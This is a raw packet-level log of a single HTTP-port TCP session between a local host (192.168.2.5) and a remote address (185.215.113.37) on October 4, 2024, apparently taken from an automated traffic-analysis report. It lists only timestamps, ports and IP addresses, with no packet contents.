Oct 4, 2024 05:45:06.857340097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.857352972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.857382059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.857392073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.857403994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.857405901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.857428074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.857430935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.857441902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.857450008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.857454062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.857476950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.857508898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858151913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858165026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858179092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858196974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858200073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858215094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858225107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858228922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858242989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858256102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858268023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858302116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858313084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858326912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858340979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858351946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858362913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858377934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858390093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858412027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858426094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858432055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858438969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858453035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858488083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858582973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858624935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858645916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858659029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858680010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858685017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858695030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858707905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858711004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858736992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858752012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858772993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858808994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858808994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858823061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858836889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858848095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858850956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858865023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858871937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858880043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858896971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858927011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858935118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858947992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858962059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.858966112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.858977079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859003067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859038115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859045982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859060049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859072924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859086037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859090090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859101057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859114885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859153032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859154940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859169960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859194040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859203100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859216928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859230042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859230995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859255075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859283924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859289885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859298944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859324932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859333992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.859348059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.859371901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944391012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944434881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944449902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944463968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944478035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944490910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944504976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944504023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944528103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944540977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944555044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944561958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944576025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944581985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944596052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944603920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944610119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944617033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944629908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944633007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944655895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944658995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944669008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944684029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944684982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944698095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944720030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944725990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944734097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944746971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944761038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944766045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944773912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944787979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944796085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944809914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944814920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944824934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944832087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944839954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944854021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944866896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944868088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944907904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.944962978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944976091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.944996119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945003986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945012093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945024967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945044994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945045948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945059061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945070028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945080042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945091009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945105076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945106983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945117950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945127010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945139885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945152998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945163012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945166111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945185900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945183039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945202112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945207119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945214033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945235014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945240974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945250988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945262909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945266962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945276976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945290089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945302963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945337057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945394993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945409060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945421934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945442915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945472956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945476055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945487976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945502043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945519924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945525885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945538998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945545912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945580959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.945971966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.945992947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946016073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946017981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946034908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946048021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946048975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946064949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946073055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946080923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946104050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946111917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946118116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946134090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946135044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946155071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946170092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946171045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946192980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946207047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946208954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946219921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946228981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946243048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946258068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946265936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946274042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946286917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946300983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946300983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946315050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946327925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946329117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946346045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946352959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946361065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946374893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946376085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946410894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946444035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946722984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946738005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946753025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946763039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946784973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946799994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946808100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946815014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946830988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946841955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946846008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946858883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946860075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946882010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946907997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946918011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946923018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946937084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946950912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946952105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946978092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.946980000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.946993113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947009087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947019100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947021008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947041035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947074890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947108030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947144985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947144985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947160006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947182894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947186947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947207928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947226048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947269917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947293997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947313070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947314978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947329044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947335958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947343111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947355986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947356939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947380066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947381020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947408915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947421074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947449923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947463989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947487116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947501898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947504044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947516918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947525978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947531939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947545052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947565079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947573900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947580099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947593927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947608948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947611094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947623968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947637081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947649956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947650909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947673082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947685957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947690010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947712898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947734118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947747946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947748899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947763920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947772980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947777987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947793007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:06.947794914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947820902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:06.947856903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033087015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033209085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033231974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033260107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033261061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033297062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033307076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033343077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033349037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033380985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033391953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033417940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033423901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033457994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033467054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033499956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033509970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033543110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033548117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033591986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033602953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033646107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033653021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033695936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033700943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033736944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033746004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033770084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033782005 CEST	49704	80	192.168.2.5	185.215.113.37
